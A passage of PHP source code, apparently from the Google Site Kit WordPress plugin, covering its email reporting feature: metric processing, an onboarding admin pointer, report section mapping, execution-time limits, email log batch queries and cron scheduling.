( $row['dimensionValues'] as $index => $dimension_value ) { $dimension_header = $dimension_headers[ $index ] ?? array(); if ( empty( $dimension_header['name'] ) ) { continue; } $processed_row['dimensions'][ $dimension_header['name'] ] = $dimension_value['value'] ?? null; } } if ( ! empty( $row['metricValues'] ) && is_array( $row['metricValues'] ) ) { foreach ( $row['metricValues'] as $index => $metric_value ) { $metric_header = $metric_headers[ $index ] ?? array(); if ( empty( $metric_header['name'] ) ) { continue; } $processed_row['metrics'][ $metric_header['name'] ] = $metric_value['value'] ?? null; } } $processed_rows[] = $processed_row; } return $processed_rows; } /** * Extracts metric values for a specific dimension value. * * @since 1.167.0 * * @param array $rows Processed rows. * @param string $dimension_name Dimension name to match. * @param string $dimension_value Expected dimension value. * @param array $metric_names Metrics to extract in order. * @return array Metric values. */ public function extract_metric_values_for_dimension( $rows, $dimension_name, $dimension_value, $metric_names ) { foreach ( $rows as $row ) { if ( empty( $row['dimensions'][ $dimension_name ] ) ) { continue; } if ( $row['dimensions'][ $dimension_name ] !== $dimension_value ) { continue; } $metrics = isset( $row['metrics'] ) && is_array( $row['metrics'] ) ? $row['metrics'] : array(); $values = array(); foreach ( $metric_names as $metric_name ) { $values[] = $metrics[ $metric_name ] ?? null; } return $values; } return array(); } /** * Computes metric values and trends for a report. * * @since 1.167.0 * * @param array $report Processed report data. * @param array $metric_names Ordered list of metric names. * @return array Metric values and trends. */ public function compute_metric_values_and_trends( $report, $metric_names ) { $values = array(); $trends = null; $totals = isset( $report['totals'] ) && is_array( $report['totals'] ) ? $report['totals'] : array(); $rows = isset( $report['rows'] ) && is_array( $report['rows'] ) ? $report['rows'] : array(); $current_values = $this->extract_metric_values_for_dimension( $rows, 'dateRange', 'date_range_0', $metric_names ); $comparison_values = $this->extract_metric_values_for_dimension( $rows, 'dateRange', 'date_range_1', $metric_names ); if ( ! empty( $current_values ) ) { $values = $current_values; } elseif ( ! empty( $totals ) ) { $primary_totals = reset( $totals ); foreach ( $metric_names as $metric_name ) { $values[] = $primary_totals[ $metric_name ] ?? null; } } if ( empty( $values ) ) { foreach ( $metric_names as $unused ) { $values[] = null; } } if ( ! empty( $current_values ) && ! empty( $comparison_values ) ) { $trends = array(); foreach ( $metric_names as $index => $metric_name ) { $current = $current_values[ $index ] ?? null; $comparison = $comparison_values[ $index ] ?? null; $trends[] = $this->compute_trend( $current, $comparison ); } } elseif ( count( $totals ) > 1 ) { $primary_totals = $totals[0]; $comparison_totals = $totals[1]; $trends = array(); foreach ( $metric_names as $metric_name ) { $current = $primary_totals[ $metric_name ] ?? null; $comparison = $comparison_totals[ $metric_name ] ?? null; $trends[] = $this->compute_trend( $current, $comparison ); } } return array( $values, $trends ); } /** * Computes the trend percentage between two numeric values. * * @since 1.167.0 * * @param mixed $current Current value. * @param mixed $comparison Comparison value. * @return float|null Trend percentage. */ private function compute_trend( $current, $comparison ) { if ( ! is_numeric( $current ) || ! is_numeric( $comparison ) ) { return null; } $comparison_float = floatval( $comparison ); if ( 0.0 === $comparison_float ) { return null; } return ( floatval( $current ) - $comparison_float ) / $comparison_float * 100; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Reporting_Pointer * * @package Google\Site_Kit * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Admin\Pointer; use Google\Site_Kit\Core\Dismissals\Dismissed_Items; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Email_Reporting_Settings as User_Email_Reporting_Settings; /** * Admin pointer for Email Reporting onboarding. * * @since 1.166.0 * @access private * @ignore */ final class Email_Reporting_Pointer { const SLUG = 'googlesitekit-email-reporting-pointer'; /** * Plugin context. * * @since 1.166.0 * @var Context */ private $context; /** * User_Email_Reporting_Settings instance. * * @since 1.166.0 * @var User_Email_Reporting_Settings */ protected $user_settings; /** * Dismissed_Items instance. * * @since 1.166.0 * @var Dismissed_Items */ protected $dismissed_items; /** * Constructor. * * @since 1.166.0 * * @param Context $context Plugin context. * @param User_Options $user_options User options instance. * @param User_Email_Reporting_Settings $user_settings User email reporting settings instance. */ public function __construct( Context $context, User_Options $user_options, User_Email_Reporting_Settings $user_settings ) { $this->context = $context; $this->user_settings = $user_settings; $this->dismissed_items = new Dismissed_Items( $user_options ); } /** * Registers functionality through WordPress hooks. * * @since 1.166.0 */ public function register() { add_filter( 'googlesitekit_admin_pointers', function ( $pointers ) { $pointers[] = $this->get_email_reporting_pointer(); return $pointers; } ); } /** * Builds the Email Reporting pointer. * * @since 1.166.0 * * @return Pointer */ private function get_email_reporting_pointer() { return new Pointer( self::SLUG, array( // Title allows limited markup (button/span) sanitized via wp_kses in Pointers::print_pointer_script. 'title' => sprintf( '%s %s', __( 'Get site insights in your inbox', 'google-site-kit' ), '<button type="button" class="googlesitekit-pointer-cta--dismiss dashicons dashicons-no" data-action="dismiss">' . '<span class="screen-reader-text">' . esc_html__( 'Dismiss this notice.', 'google-site-kit' ) . '</span>' . '</button>' ), // Return subtitle and content as HTML with safe tags. 'content' => function () { return sprintf( '<h4>%s</h4><p>%s</p>', __( 'Keep track of your site with Site Kit', 'google-site-kit' ), __( 'Receive the most important insights about your site’s performance, key trends, and tailored metrics directly in your inbox', 'google-site-kit' ) ); }, // Site Kit menu in WP Admin. 'target_id' => 'toplevel_page_googlesitekit-dashboard', 'position' => 'top', 'active_callback' => function ( $hook_suffix ) { // Only on the main WP Dashboard screen. if ( 'index.php' !== $hook_suffix ) { return false; } // User must have Site Kit access: either admin (can authenticate) or view-only (can view splash). if ( ! current_user_can( Permissions::VIEW_DASHBOARD ) ) { return false; } // Check if user has access to at least one email report data module. // Admins can authenticate and have full access; view-only users need // READ_SHARED_MODULE_DATA capability for at least one module. $has_analytics_access = current_user_can( Permissions::AUTHENTICATE ) || current_user_can( Permissions::READ_SHARED_MODULE_DATA, 'analytics-4' ); $has_search_console_access = current_user_can( Permissions::AUTHENTICATE ) || current_user_can( Permissions::READ_SHARED_MODULE_DATA, 'search-console' ); if ( ! $has_analytics_access && ! $has_search_console_access ) { return false; } // Do not show if this pointer was already dismissed via core 'dismiss-wp-pointer'. $user_id = get_current_user_id(); $dismissed_wp_pointers = get_user_meta( $user_id, 'dismissed_wp_pointers', true ); if ( $dismissed_wp_pointers ) { $dismissed_wp_pointers = explode( ',', $dismissed_wp_pointers ); if ( in_array( self::SLUG, $dismissed_wp_pointers, true ) ) { return false; } } // If user is already subscribed to email reporting, bail early. if ( $this->user_settings->is_user_subscribed() ) { return false; } // If the overlay notification has already been dismissed, bail early. if ( $this->dismissed_items->is_dismissed( 'email_reports_setup_overlay_notification' ) ) { return false; } return true; }, 'class' => 'googlesitekit-email-pointer', // Inline JS function to render CTA button and add delegated handlers for CTA and dismiss. 'buttons' => sprintf( '<a class="googlesitekit-pointer-cta button-primary" data-action="dismiss" href="%s">%s</a>', $this->context->admin_url( 'dashboard', array( 'email-reporting-panel' => 1 ) ), esc_html__( 'Set up', 'google-site-kit' ) ), ), ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Sections_Map * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; /** * Class for mapping email report sections and their layout configuration. * * @since 1.168.0 */ class Sections_Map { /** * Plugin context. * * @since 1.168.0 * @var Context */ protected $context; /** * Gets the mapping of section part keys to their display labels. * * @since 1.170.0 * * @return array<string, string> Mapping of part keys to localized labels. */ public static function get_part_labels() { return array( 'traffic_channels' => __( 'Traffic channels by visitor count', 'google-site-kit' ), 'top_ctr_keywords' => __( 'Keywords with highest CTR in Search', 'google-site-kit' ), 'popular_content' => __( 'Pages with the most pageviews', 'google-site-kit' ), 'top_pages_by_clicks' => __( 'Pages with the most clicks from Search', 'google-site-kit' ), 'top_authors' => __( 'Top authors by pageviews', 'google-site-kit' ), 'top_categories' => __( 'Top categories by pageviews', 'google-site-kit' ), 'keywords_ctr_increase' => __( 'Search keywords with the biggest increase in CTR', 'google-site-kit' ), 'pages_clicks_increase' => __( 'Pages with the biggest increase in Search clicks', 'google-site-kit' ), ); } /** * Gets the label for a specific part key. * * @since 1.170.0 * * @param string $part_key The part key to get the label for. * @return string The localized label, or empty string if not found. */ public static function get_part_label( $part_key ) { $labels = self::get_part_labels(); return $labels[ $part_key ] ?? ''; } /** * Payload data for populating section templates. * * @since 1.168.0 * @var array */ protected $payload; /** * Constructor. * * @since 1.168.0 * * @param Context $context Plugin context. * @param array $payload The payload data to be used in sections. */ public function __construct( Context $context, $payload ) { $this->context = $context; $this->payload = $payload; } /** * Gets all sections for the email report. * * Returns an array describing the layout sections, where each section contains: * - title: The section heading * - icon: Icon identifier for the section * - section_parts: Array of template parts with their data * * @since 1.168.0 * * @return array Array of sections with their configuration. */ public function get_sections() { return array_merge( $this->get_business_growth_section(), $this->get_visitors_section(), $this->get_traffic_sources_section(), $this->get_attention_section(), $this->get_growth_drivers_section(), $this->get_growth_drivers_section() ); } /** * Gets the business growth section. * * @since 1.168.0 * * @return array Section configuration array. */ protected function get_business_growth_section() { // If no conversion data is present in payload it means user do not have conversion tracking set up // or no data is received yet and we can skip this section. if ( empty( $this->payload['total_conversion_events'] ) || ! isset( $this->payload['total_conversion_events'] ) ) { return array(); } return array( 'is_my_site_helping_my_business_grow' => array( 'title' => esc_html__( 'Is my site helping my business grow?', 'google-site-kit' ), 'icon' => 'conversions', 'section_template' => 'section-conversions', 'dashboard_url' => $this->context->admin_url( 'dashboard' ), 'section_parts' => array( 'total_conversion_events' => array( 'data' => $this->payload['total_conversion_events'] ?? array(), ), 'products_added_to_cart' => array( 'data' => $this->payload['products_added_to_cart'] ?? array(), ), 'purchases' => array( 'data' => $this->payload['purchases'] ?? array(), ), ), ), ); } /** * Gets the visitors section. * * @since 1.168.0 * * @return array Section configuration array. */ protected function get_visitors_section() { $section_parts = array(); $section_parts['total_visitors'] = array( 'data' => $this->payload['total_visitors'] ?? array(), ); $section_parts['new_visitors'] = array( 'data' => $this->payload['new_visitors'] ?? array(), ); $section_parts['returning_visitors'] = array( 'data' => $this->payload['returning_visitors'] ?? array(), ); // Insert custom audience parts (if available) immediately after returning_visitors. if ( is_array( $this->payload ) ) { foreach ( $this->payload as $key => $data ) { if ( 0 !== strpos( $key, 'custom_audience_' ) ) { continue; } $section_parts[ $key ] = array( 'data' => $data, ); } } $section_parts['total_impressions'] = array( 'data' => $this->payload['total_impressions'] ?? array(), ); $section_parts['total_clicks'] = array( 'data' => $this->payload['total_clicks'] ?? array(), ); return array( 'how_many_people_are_finding_and_visiting_my_site' => array( 'title' => esc_html__( 'How many people are finding and visiting my site?', 'google-site-kit' ), 'icon' => 'visitors', 'section_template' => 'section-metrics', 'dashboard_url' => $this->context->admin_url( 'dashboard' ), 'section_parts' => $section_parts, ), ); } /** * Gets the traffic sources section. * * @since 1.168.0 * * @return array Section configuration array. */ protected function get_traffic_sources_section() { return array( 'how_are_people_finding_me' => array( 'title' => esc_html__( 'How are people finding me?', 'google-site-kit' ), 'icon' => 'search', 'section_template' => 'section-page-metrics', 'dashboard_url' => $this->context->admin_url( 'dashboard' ), 'section_parts' => array( 'traffic_channels' => array( 'data' => $this->payload['traffic_channels'] ?? array(), ), 'top_ctr_keywords' => array( 'data' => $this->payload['top_ctr_keywords'] ?? array(), ), ), ), ); } /** * Gets the attention section. * * @since 1.168.0 * * @return array Section configuration array. */ protected function get_attention_section() { return array( 'whats_grabbing_their_attention' => array( 'title' => esc_html__( 'What’s grabbing their attention?', 'google-site-kit' ), 'icon' => 'views', 'section_template' => 'section-page-metrics', 'dashboard_url' => $this->context->admin_url( 'dashboard' ), 'section_parts' => array( 'popular_content' => array( 'data' => $this->payload['popular_content'] ?? array(), ), 'top_pages_by_clicks' => array( 'data' => $this->payload['top_pages_by_clicks'] ?? array(), ), 'top_authors' => array( 'data' => $this->payload['top_authors'] ?? array(), ), 'top_categories' => array( 'data' => $this->payload['top_categories'] ?? array(), ), ), ), ); } /** * Gets the growth drivers section. * * @since 1.168.0 * * @return array Section configuration array. */ protected function get_growth_drivers_section() { if ( empty( $this->payload['keywords_ctr_increase'] ) && empty( $this->payload['pages_clicks_increase'] ) ) { return array(); } return array( 'what_is_driving_growth_and_bringing_more_visitors' => array( 'title' => esc_html__( 'What is driving growth and bringing more visitors?', 'google-site-kit' ), 'icon' => 'growth', 'section_template' => 'section-page-metrics', 'dashboard_url' => $this->context->admin_url( 'dashboard' ), 'section_parts' => array( 'keywords_ctr_increase' => array( 'data' => $this->payload['keywords_ctr_increase'] ?? array(), ), 'pages_clicks_increase' => array( 'data' => $this->payload['pages_clicks_increase'] ?? array(), ), ), ), ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Max_Execution_Limiter * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; /** * Guards long-running email reporting tasks against timeouts. * * @since 1.167.0 * @access private * @ignore */ class Max_Execution_Limiter { const DEFAULT_LIMIT = 30; /** * Maximum execution time budget in seconds. * * @since 1.167.0 * * @var int */ private $max_execution_time; /** * Constructor. * * @since 1.167.0 * * @param int $max_execution_time PHP max_execution_time value. */ public function __construct( $max_execution_time ) { $this->max_execution_time = ( $max_execution_time && $max_execution_time > 0 ) ? (int) $max_execution_time : self::DEFAULT_LIMIT; } /** * Determines whether the worker should abort execution. * * @since 1.167.0 * * @param int $initiator_timestamp Initial batch timestamp. * @return bool True when either the runtime or 24h limit has been reached. */ public function should_abort( $initiator_timestamp ) { $now = microtime( true ); $execution_deadline = $this->execution_deadline(); $initiator_deadline = (int) $initiator_timestamp + DAY_IN_SECONDS; $runtime_budget_used = $execution_deadline > 0 && $now >= $execution_deadline; return $runtime_budget_used || $now >= $initiator_deadline; } /** * Resolves the maximum execution budget in seconds. * * @since 1.167.0 * * @return int Number of seconds allotted for execution. */ protected function resolve_budget_seconds() { return $this->max_execution_time; } /** * Calculates the execution deadline timestamp. * * @since 1.167.0 * * @return float Execution cutoff timestamp. */ private function execution_deadline() { $budget = $this->resolve_budget_seconds(); if ( $budget <= 0 ) { return 0; } $start_time = defined( 'WP_START_TIMESTAMP' ) ? (float) WP_START_TIMESTAMP : microtime( true ); return $start_time + $budget - 10; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Log_Batch_Query * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use WP_Query; /** * Helper for querying and updating email log batches. * * @since 1.167.0 * @access private * @ignore */ class Email_Log_Batch_Query { const MAX_ATTEMPTS = 3; /** * Retrieves IDs for pending logs within a batch. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param int $max_attempts Maximum delivery attempts allowed. * @return array Pending post IDs that still require processing. */ public function get_pending_ids( $batch_id, $max_attempts = self::MAX_ATTEMPTS ) { $batch_id = (string) $batch_id; $max_attempts = (int) $max_attempts; $query = $this->get_batch_query( $batch_id ); $pending_ids = array(); foreach ( $query->posts as $post_id ) { $status = get_post_status( $post_id ); if ( Email_Log::STATUS_SENT === $status ) { continue; } if ( Email_Log::STATUS_FAILED === $status ) { $attempts = (int) get_post_meta( $post_id, Email_Log::META_SEND_ATTEMPTS, true ); if ( $attempts >= $max_attempts ) { continue; } } $pending_ids[] = (int) $post_id; } return $pending_ids; } /** * Builds a batch query object limited to a specific batch ID. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @return WP_Query Query returning IDs only. */ private function get_batch_query( $batch_id ) { return new WP_Query( array( 'post_type' => Email_Log::POST_TYPE, 'post_status' => array( Email_Log::STATUS_SCHEDULED, Email_Log::STATUS_SENT, Email_Log::STATUS_FAILED, ), // phpcs:ignore WordPress.WP.PostsPerPage.posts_per_page_posts_per_page 'posts_per_page' => 10000, 'fields' => 'ids', 'no_found_rows' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query 'meta_query' => array( array( 'key' => Email_Log::META_BATCH_ID, 'value' => $batch_id, ), ), ) ); } /** * Determines whether all posts in the batch completed delivery. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param int $max_attempts Maximum delivery attempts allowed. * @return bool True if the batch has no remaining pending posts. */ public function is_complete( $batch_id, $max_attempts = self::MAX_ATTEMPTS ) { return empty( $this->get_pending_ids( $batch_id, $max_attempts ) ); } /** * Increments the send attempt counter for a log post. * * @since 1.167.0 * * @param int $post_id Log post ID. * @return void Nothing returned. */ public function increment_attempt( $post_id ) { $post = get_post( $post_id ); if ( ! $post || Email_Log::POST_TYPE !== $post->post_type ) { return; } $current_attempts = (int) get_post_meta( $post_id, Email_Log::META_SEND_ATTEMPTS, true ); update_post_meta( $post_id, Email_Log::META_SEND_ATTEMPTS, $current_attempts + 1 ); } /** * Updates the post status for a log post. * * @since 1.167.0 * * @param int $post_id Log post ID. * @param string $status New status slug. * @return void Nothing returned. */ public function update_status( $post_id, $status ) { $post = get_post( $post_id ); if ( ! $post || Email_Log::POST_TYPE !== $post->post_type ) { return; } wp_update_post( array( 'ID' => $post_id, 'post_status' => $status, ) ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Report_Section_Builder * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Data_Processor; use Google\Site_Kit\Modules\Search_Console\Email_Reporting\Report_Data_Builder as Search_Console_Report_Data_Builder; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Data_Builder as Analytics_Report_Data_Builder; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Data_Processor as Analytics_Report_Data_Processor; /** * Builder and helpers to construct Email_Report_Data_Section_Part instances for a single report section. * * @since 1.167.0 * @access private * @ignore */ class Email_Report_Section_Builder { /** * Plugin context instance. * * @since 1.167.0 * @var Context */ protected $context; /** * Label translations indexed by label key. * * @since 1.167.0 * @var array */ protected $label_translations; /** * Report processor instance. * * @since 1.167.0 * @var Email_Report_Payload_Processor */ protected $report_processor; /** * Analytics report data builder. * * @since 1.170.0 * @var Analytics_Report_Data_Builder */ protected $analytics_builder; /** * Search Console report data builder. * * @since 1.170.0 * @var Search_Console_Report_Data_Builder */ protected $search_console_builder; /** * Search Console data processor. * * @since 1.170.0 * @var Report_Data_Processor */ protected $search_console_processor; /** * Current period length in days (for SC trend calculations). * * @since 1.170.0 * @var int|null */ protected $current_period_length = null; /** * Constructor. * * @since 1.167.0 * * @param Context $context Plugin context. * @param Email_Report_Payload_Processor|null $report_processor Optional. Report processor instance. */ public function __construct( Context $context, ?Email_Report_Payload_Processor $report_processor = null ) { $this->context = $context; $this->report_processor = $report_processor ?? new Email_Report_Payload_Processor(); $this->analytics_builder = new Analytics_Report_Data_Builder( $this->report_processor, new Analytics_Report_Data_Processor(), array(), $context ); $this->search_console_processor = new Report_Data_Processor(); $this->search_console_builder = new Search_Console_Report_Data_Builder( $this->search_console_processor ); $this->label_translations = array( // Analytics 4. 'totalUsers' => __( 'Total Visitors', 'google-site-kit' ), 'newUsers' => __( 'New Visitors', 'google-site-kit' ), 'eventCount' => __( 'Total conversion events', 'google-site-kit' ), 'addToCarts' => __( 'Products added to cart', 'google-site-kit' ), 'ecommercePurchases' => __( 'Purchases', 'google-site-kit' ), // Search Console. 'impressions' => __( 'Total impressions in Search', 'google-site-kit' ), 'clicks' => __( 'Total clicks from Search', 'google-site-kit' ), ); } /** * Build one or more section parts from raw payloads for a module. * * @since 1.167.0 * * @param string $module_slug Module slug (e.g. analytics-4). * @param array $raw_sections_payloads Raw reports payloads. * @param string $user_locale User locale (e.g. en_US). * @param \WP_Post $email_log Optional. Email log post instance containing date metadata. * @return Email_Report_Data_Section_Part[] Section parts for the provided module. * @throws \Exception If an error occurs while building sections. */ public function build_sections( $module_slug, $raw_sections_payloads, $user_locale, $email_log = null ) { if ( is_object( $raw_sections_payloads ) ) { $raw_sections_payloads = (array) $raw_sections_payloads; } $sections = array(); $switched_locale = switch_to_locale( $user_locale ); $log_date_range = Email_Log::get_date_range_from_log( $email_log ); $this->current_period_length = $this->calculate_period_length_from_date_range( $log_date_range ); try { foreach ( $this->extract_sections_from_payloads( $module_slug, $raw_sections_payloads ) as $section_payload ) { list( $labels, $values, $trends, $event_names ) = $this->normalize_section_payload_components( $section_payload ); $date_range = $log_date_range ? $log_date_range : $this->report_processor->compute_date_range( $section_payload['date_range'] ?? null ); $section = new Email_Report_Data_Section_Part( $section_payload['section_key'] ?? 'section', array( 'title' => $section_payload['title'] ?? '', 'labels' => $labels, 'event_names' => $event_names, 'values' => $values, 'trends' => $trends, 'dimensions' => $section_payload['dimensions'] ?? array(), 'dimension_values' => $section_payload['dimension_values'] ?? array(), 'date_range' => $date_range, 'dashboard_link' => $this->format_dashboard_link( $module_slug ), ) ); if ( $section->is_empty() ) { continue; } $sections[] = $section; } } catch ( \Exception $exception ) { if ( $switched_locale ) { restore_previous_locale(); } // Re-throw exception to the caller to prevent this email from being sent. throw $exception; } $this->current_period_length = null; return $sections; } /** * Normalize labels with translations. * * @since 1.167.0 * * @param array $labels Labels. * @return array Normalized labels. */ protected function normalize_labels( $labels ) { return array_map( fn( $label ) => $this->label_translations[ $label ] ?? $label, $labels ); } /** * Normalize trend values to localized percentage strings. * * @since 1.167.0 * * @param array $trends Trend values. * @return array|null Normalized trend values. */ protected function normalize_trends( $trends ) { if ( ! is_array( $trends ) ) { return null; } $output = array(); foreach ( $trends as $trend ) { if ( null === $trend || '' === $trend ) { $output[] = null; continue; } if ( is_string( $trend ) ) { $trend = str_replace( '%', '', $trend ); } if ( ! is_numeric( $trend ) ) { $trend = floatval( preg_replace( '/[^0-9+\-.]/', '', $trend ) ); } $number = floatval( $trend ); $formatted = number_format_i18n( $number, 2 ); $output[] = sprintf( '%s%%', $formatted ); } return $output; } /** * Normalize a section payload into discrete components. * * @since 1.167.0 * * @param array $section_payload Section payload data. * @return array Normalized section payload components. */ protected function normalize_section_payload_components( $section_payload ) { $labels = $this->normalize_labels( $section_payload['labels'] ?? array() ); $value_types = isset( $section_payload['value_types'] ) && is_array( $section_payload['value_types'] ) ? $section_payload['value_types'] : array(); $values = $this->normalize_values( $section_payload['values'] ?? array(), $value_types ); $trends_data = $section_payload['trends'] ?? null; $trends = null !== $trends_data ? $this->normalize_trends( $trends_data ) : null; $event_names = $section_payload['event_names'] ?? array(); return array( $labels, $values, $trends, $event_names ); } /** * Normalize values using metric formatter and localization. * * @since 1.167.0 * * @param array $values Values. * @param array $value_types Optional. Metric types corresponding to each value. * @return array Normalized values. */ protected function normalize_values( $values, $value_types = array() ) { $output = array(); foreach ( $values as $index => $value ) { if ( null === $value ) { $output[] = null; continue; } $type = $value_types[ $index ] ?? 'TYPE_STANDARD'; $output[] = $this->format_metric_value( $value, $type ); } return $output; } /** * Formats a metric value according to type heuristics. * * @since 1.167.0 * * @param mixed $value Raw value. * @param string $type Metric type identifier. * @return string Formatted metric value. */ protected function format_metric_value( $value, $type ) { switch ( $type ) { case 'TYPE_INTEGER': return (string) intval( $value ); case 'TYPE_FLOAT': return (string) floatval( $value ); case 'TYPE_SECONDS': return (string) $this->format_duration( intval( $value ) ); case 'TYPE_MILLISECONDS': return (string) $this->format_duration( intval( $value ) / 1000 ); case 'TYPE_MINUTES': return (string) $this->format_duration( intval( $value ) * 60 ); case 'TYPE_HOURS': return (string) $this->format_duration( intval( $value ) * 3600 ); case 'TYPE_STANDARD': case 'TYPE_PERCENT': case 'TYPE_TIME': case 'TYPE_CURRENCY': default: return $value; } } /** * Formats a duration in seconds to HH:MM:SS string. * * @since 1.167.0 * * @param int|float $seconds Duration in seconds. * @return string Formatted duration. */ protected function format_duration( $seconds ) { $seconds = absint( round( floatval( $seconds ) ) ); $hours = intval( floor( $seconds / 3600 ) ); $minutes = intval( floor( ( $seconds % 3600 ) / 60 ) ); $remain = intval( $seconds % 60 ); return sprintf( '%02d:%02d:%02d', $hours, $minutes, $remain ); } /** * Creates dashboard link for a module. * * @since 1.167.0 * * @param string $module_slug Module slug. * @return string Dashboard link. */ protected function format_dashboard_link( $module_slug ) { $dashboard_url = $this->context->admin_url( 'dashboard' ); return sprintf( '%s#/module/%s', $dashboard_url, rawurlencode( $module_slug ) ); } /** * Extracts section-level payloads from raw payloads. * * Receiving raw report response array, return an array of structured section payloads. * * @since 1.167.0 * * @param string $module_slug Module slug. * @param array $raw_sections_payloads Raw section payloads. * @return array[] Structured section payloads. */ protected function extract_sections_from_payloads( $module_slug, $raw_sections_payloads ) { $sections = array(); foreach ( $raw_sections_payloads as $payload_group ) { if ( is_object( $payload_group ) ) { $payload_group = (array) $payload_group; } if ( ! is_array( $payload_group ) ) { continue; } $group_title_value = $payload_group['title'] ?? null; $group_title = null !== $group_title_value ? $group_title_value : null; if ( isset( $payload_group['title'] ) ) { unset( $payload_group['title'] ); } $module_sections = $this->build_module_section_payloads( $module_slug, $payload_group ); foreach ( $module_sections as $section ) { if ( $group_title ) { $section['title'] = $group_title; } elseif ( empty( $section['title'] ) && isset( $section['section_key'] ) ) { $section['title'] = $section['section_key']; } $sections[] = $section; } } return $sections; } /** * Builds section payloads for a specific module payload. * * @since 1.167.0 * * @param string $module_key Module identifier. * @param array $module_payload Module payload. * @return array Section payloads. */ protected function build_module_section_payloads( $module_key, $module_payload ) { switch ( $module_key ) { case 'analytics-4': case 'adsense': return $this->analytics_builder->build_sections_from_module_payload( $module_payload ); case 'search-console': return $this->search_console_builder->build_sections_from_module_payload( $module_payload, $this->current_period_length ); default: return array(); } } /** * Calculates current period length in days from a date range array. * * @since 1.170.0 * * @param array|null $date_range Date range containing startDate and endDate. * @return int|null Current-period length in days (inclusive) or null when unavailable. */ protected function calculate_period_length_from_date_range( $date_range ) { if ( empty( $date_range['startDate'] ) || empty( $date_range['endDate'] ) ) { return null; } try { $start = new \DateTime( $date_range['startDate'] ); $end = new \DateTime( $date_range['endDate'] ); } catch ( \Exception $e ) { return null; } $diff = $start->diff( $end ); if ( false === $diff ) { return null; } return (int) $diff->days + 1; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Reporting_Scheduler * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\User\Email_Reporting_Settings; /** * Schedules cron events related to email reporting. * * @since 1.167.0 * @access private * @ignore */ class Email_Reporting_Scheduler { const ACTION_INITIATOR = 'googlesitekit_email_reporting_initiator'; const ACTION_WORKER = 'googlesitekit_email_reporting_worker'; const ACTION_FALLBACK = 'googlesitekit_email_reporting_fallback'; const ACTION_MONITOR = 'googlesitekit_email_reporting_monitor'; const ACTION_CLEANUP = 'googlesitekit_email_reporting_cleanup'; /** * Frequency planner instance. * * @var Frequency_Planner */ private $frequency_planner; /** * Constructor. * * @since 1.167.0 * * @param Frequency_Planner $frequency_planner Frequency planner instance. */ public function __construct( Frequency_Planner $frequency_planner ) { $this->frequency_planner = $frequency_planner; } /** * Registers WordPress hooks. * * @since 1.167.0 */ public function register() { add_filter( 'cron_schedules', array( __CLASS__, 'register_monthly_schedule' ) ); } /** * Ensures an initiator event exists for each frequency. * * @since 1.167.0 */ public function schedule_initiator_events() { foreach ( array( Email_Reporting_Settings::FREQUENCY_WEEKLY, Email_Reporting_Settings::FREQUENCY_MONTHLY, Email_Reporting_Settings::FREQUENCY_QUARTERLY ) as $frequency ) { $this->schedule_initiator_once( $frequency ); } } /** * Schedules the next initiator for a frequency if none exists. * * @since 1.167.0 * * @param string $frequency Frequency slug. */ public function schedule_initiator_once( $frequency ) { if ( wp_next_scheduled( self::ACTION_INITIATOR, array( $frequency ) ) ) { return; } $next = $this->frequency_planner->next_occurrence( $frequency, time(), wp_timezone() ); wp_schedule_single_event( $next, self::ACTION_INITIATOR, array( $frequency ) ); } /** * Explicitly schedules the next initiator event for a frequency. * * @since 1.167.0 * * @param string $frequency Frequency slug. * @param int $timestamp Base timestamp used to calculate the next run. */ public function schedule_next_initiator( $frequency, $timestamp ) { $next = $this->frequency_planner->next_occurrence( $frequency, $timestamp, wp_timezone() ); wp_schedule_single_event( $next, self::ACTION_INITIATOR, array( $frequency ) ); } /** * Schedules a worker event if one with the same arguments is not already queued. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param string $frequency Frequency slug. * @param int $timestamp Base timestamp for the batch. * @param int $delay Delay in seconds before the worker runs. */ public function schedule_worker( $batch_id, $frequency, $timestamp, $delay = MINUTE_IN_SECONDS ) { $args = array( $batch_id, $frequency, $timestamp ); if ( wp_next_scheduled( self::ACTION_WORKER, $args ) ) { return; } wp_schedule_single_event( $timestamp + $delay, self::ACTION_WORKER, $args ); } /** * Schedules a fallback event for the given batch if one is not already queued. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param string $frequency Frequency 